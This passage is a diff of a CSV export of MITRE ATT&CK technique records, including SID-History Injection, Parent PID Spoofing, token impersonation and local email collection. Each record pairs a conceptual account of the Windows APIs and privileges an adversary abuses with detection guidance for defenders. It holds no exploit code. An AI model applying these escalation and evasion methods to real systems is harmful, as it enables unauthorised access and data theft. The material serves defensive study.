url='https://attack.mitre.org/techniques/T1114/001', external_id='T1114.001'), ExternalReference(source_name='Outlook File Sizes', description=""N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."", url='https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/'), ExternalReference(source_name='Microsoft Outlook Files', description='Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.', url='https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790')]",attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 17:59:20.983000+00:00,Local Email Collection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution']",,,,,Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,,,,,True,,,['User'],['Windows'],,,,1.0 -2020-02-18 18:34:49.414000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). +Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1114/001', 'external_id': 'T1114.001'}, {'source_name': 'Outlook File Sizes', 'description': ""N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."", 'url': 'https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/'}, {'source_name': 'Microsoft Outlook Files', 'description': 'Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020.', 'url': 'https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:34:49.414Z,2021-02-09T15:49:58.414Z,SID-History Injection,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). -With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134/005', external_id='T1134.005'), ExternalReference(source_name='Microsoft SID', description='Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx'), ExternalReference(source_name='Microsoft SID-History Attribute', description='Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.', url='https://msdn.microsoft.com/library/ms679833.aspx'), ExternalReference(source_name='Microsoft Well Known SIDs Jun 2017', description='Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.', url='https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems'), ExternalReference(source_name='Microsoft Get-ADUser', description='Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.', url='https://technet.microsoft.com/library/ee617241.aspx'), ExternalReference(source_name='AdSecurity SID History Sept 2015', description='Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.', url='https://adsecurity.org/?p=1772'), ExternalReference(source_name='Microsoft DsAddSidHistory', description='Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.', url='https://msdn.microsoft.com/library/ms677982.aspx')]",attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 15:49:58.414000+00:00,SID-History Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Alain Homewood, Insomnia Security', 'Vincent Le Toux']","['Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification']",,,,,"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) +With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/005', 'external_id': 'T1134.005'}, {'source_name': 'Microsoft SID', 'description': 'Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx'}, {'source_name': 'Microsoft SID-History Attribute', 'description': 'Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/ms679833.aspx'}, {'source_name': 'Microsoft Well Known SIDs Jun 2017', 'description': 'Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.', 'url': 'https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems'}, {'source_name': 'Microsoft Get-ADUser', 'description': 'Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.', 'url': 'https://technet.microsoft.com/library/ee617241.aspx'}, {'source_name': 'AdSecurity SID History Sept 2015', 'description': 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.', 'url': 'https://adsecurity.org/?p=1772'}, {'source_name': 'Microsoft DsAddSidHistory', 'description': 'Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.', 'url': 'https://msdn.microsoft.com/library/ms677982.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alain Homewood, Insomnia Security', 'Vincent Le Toux']","['Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification']",,"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) -Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-02-18 18:22:41.448000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) +Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)",True,"['Administrator', 'SYSTEM']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:22:41.448Z,2021-02-09T14:11:20.296Z,Parent PID Spoofing,"Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018) -Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134/004', external_id='T1134.004'), ExternalReference(source_name='DidierStevens SelectMyParent Nov 2009', description='Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.', url='https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/'), ExternalReference(source_name='Microsoft UAC Nov 2018', description='Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.', url='https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works'), ExternalReference(source_name='CounterCept PPID Spoofing Dec 2018', description='Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.', url='https://www.countercept.com/blog/detecting-parent-pid-spoofing/'), ExternalReference(source_name='CTD PPID Spoofing Macro Mar 2019', description='Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.', url='https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/'), ExternalReference(source_name='XPNSec PPID Nov 2017', description='Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.', url='https://blog.xpnsec.com/becoming-system/'), ExternalReference(source_name='Microsoft Process Creation Flags May 2018', description='Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.', url='https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags'), ExternalReference(source_name='Secuirtyinbits Ataware3 May 2019', description='Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.', url='https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3')]",attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 14:11:20.296000+00:00,Parent PID Spoofing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Wayne Silva, F-Secure Countercept']","['Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata']","['Heuristic Detection', 'Host forensic analysis']",,,,"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) +Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/004', 'external_id': 'T1134.004'}, {'source_name': 'DidierStevens SelectMyParent Nov 2009', 'description': 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.', 'url': 'https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/'}, {'source_name': 'Microsoft UAC Nov 2018', 'description': 'Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.', 'url': 'https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works'}, {'source_name': 'CounterCept PPID Spoofing Dec 2018', 'description': 'Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.', 'url': 'https://www.countercept.com/blog/detecting-parent-pid-spoofing/'}, {'source_name': 'CTD PPID Spoofing Macro Mar 2019', 'description': 'Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.', 'url': 'https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/'}, {'source_name': 'XPNSec PPID Nov 2017', 'description': 'Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.', 'url': 'https://blog.xpnsec.com/becoming-system/'}, {'source_name': 'Microsoft Process Creation Flags May 2018', 'description': 'Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.', 'url': 'https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags'}, {'source_name': 'Secuirtyinbits Ataware3 May 2019', 'description': 'Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.', 'url': 'https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wayne Silva, F-Secure Countercept']","['Process: OS API Execution', 'Process: Process Creation', 'Process: Process Metadata']","['Heuristic Detection', 'Host forensic analysis']","Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) -Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",,,,,True,,,"['User', 'Administrator']",['Windows'],,,,1.0 -2020-02-18 18:03:37.481000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134/003', external_id='T1134.003'), ExternalReference(source_name='Microsoft Command-line Logging', description='Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', url='https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing')]",attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-02-18 18:03:37.481000+00:00,Make and Impersonate Token,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']",,,,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",True,"['User', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T18:03:37.481Z,2020-02-18T18:03:37.481Z,Make and Impersonate Token,"Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/003', 'external_id': 'T1134.003'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. -Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",,,['SYSTEM'],,True,,,"['Administrator', 'User']",['Windows'],,,,1.0 -2020-02-18 16:48:56.582000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134/002', external_id='T1134.002'), ExternalReference(source_name='Microsoft Command-line Logging', description='Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', url='https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing')]",attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-26 21:28:19.476000+00:00,Create Process with Token,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']",,,,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,"['Administrator', 'User']",['Windows'],1.0,,,,['SYSTEM'],,, +attack-pattern,attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T16:48:56.582Z,2021-10-17T14:51:48.978Z,Create Process with Token,"Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs) -If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. +Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/002', 'external_id': 'T1134.002'}, {'source_name': 'Microsoft RunAs', 'description': 'Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vadim Khrykov'],"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) -Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",,,,,True,,,,['Windows'],,,,1.0 -2020-02-18 16:39:06.289000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. +If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. -An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134/001', external_id='T1134.001'), ExternalReference(source_name='Microsoft Command-line Logging', description='Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', url='https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing')]",attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-26 21:29:18.608000+00:00,Token Impersonation/Theft,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']",,,,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,,['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-18T16:39:06.289Z,2020-03-26T21:29:18.608Z,Token Impersonation/Theft,"Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. -Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",,,,,True,,,,['Windows'],,,,1.0 -2020-02-14 13:35:32.938000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: +An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134/001', 'external_id': 'T1134.001'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-14T13:35:32.938Z,2021-06-08T17:10:31.187Z,Sharepoint,"Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint: * Policies, procedures, and standards * Physical / logical network diagrams @@ -1358,10 +1542,10 @@ Analysts can also monitor for use of Windows APIs such as DuplicateToken(E * Work / project schedules * Source code snippets * Links to network shares and other internal resources 